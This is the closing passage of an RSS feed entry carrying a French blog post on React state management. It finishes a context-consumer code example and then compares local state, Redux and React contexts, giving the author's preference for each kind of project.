              &lt;span class="nx"&gt;Augmenter&lt;/span&gt; &lt;span class="nx"&gt;son&lt;/span&gt; &lt;span class="nx"&gt;age&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;un an
            &amp;lt;/button&amp;gt;
          &amp;lt;/&amp;gt;
        );
      }}
    &amp;lt;/UserContext.Consumer&amp;gt;
  );
}

export default UserBody;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;J'utilise donc mon contexte dans ce composant aussi et j'en extrait un mutateur, &lt;code&gt;addOneYear&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Finalement que doit-on choisir ?
&lt;/h2&gt;

&lt;p&gt;On a pu le voir, les trois techniques fonctionnent et sont efficaces. Mais alors, laquelle choisir ?&lt;/p&gt;

&lt;p&gt;Si la première est très simple et ne nécessite pas d'efforts particuliers pour la mettre en place on se rend compte que sur des applications qui grandissent vite ça peut devenir compliqué de gérer tout l'état de son application.&lt;/p&gt;

&lt;p&gt;La seconde, par contre, demande un peu plus d'efforts à sa mise en place initiale. Elle nécessite aussi une bonne connaissance de Redux afin de gérer correctement le store de son application. Une mauvaise utilisation de Redux rendra votre code non maintenable. La correction de bug n'en sera que plus compliquée et l'ajout de nouvelle fonctionnalité, un enfer.&lt;/p&gt;

&lt;p&gt;La troisième option, les contextes, reste simple à mettre en place et gère très bien l'état de notre application. Cependant il faut faire très attention avec cette technique. Si elle est mal utilisée, sur des applications plus conséquentes, elle peut engendrer de sérieux problèmes de performance. En effet à chaque changement de la valeur d'un contexte, React va re-render tous les composants qui consument ce contexte. Si vous modifiez votre valeur à plusieurs endroits ou modifiez plusieurs contextes en même temps, cela engendrera autant de rendus. Ce qui peut être problématique.&lt;/p&gt;

&lt;p&gt;J'aime bien utiliser Redux sur des projets qui vont gérer un nombre de données assez conséquent et les contextes et/ou les hooks sur des projets plus petits où la gestion de données reste très simple.&lt;/p&gt;

</description>
      <category>react</category>
      <category>redux</category>
      <category>hooks</category>
    </item>
  </channel>
</rss>
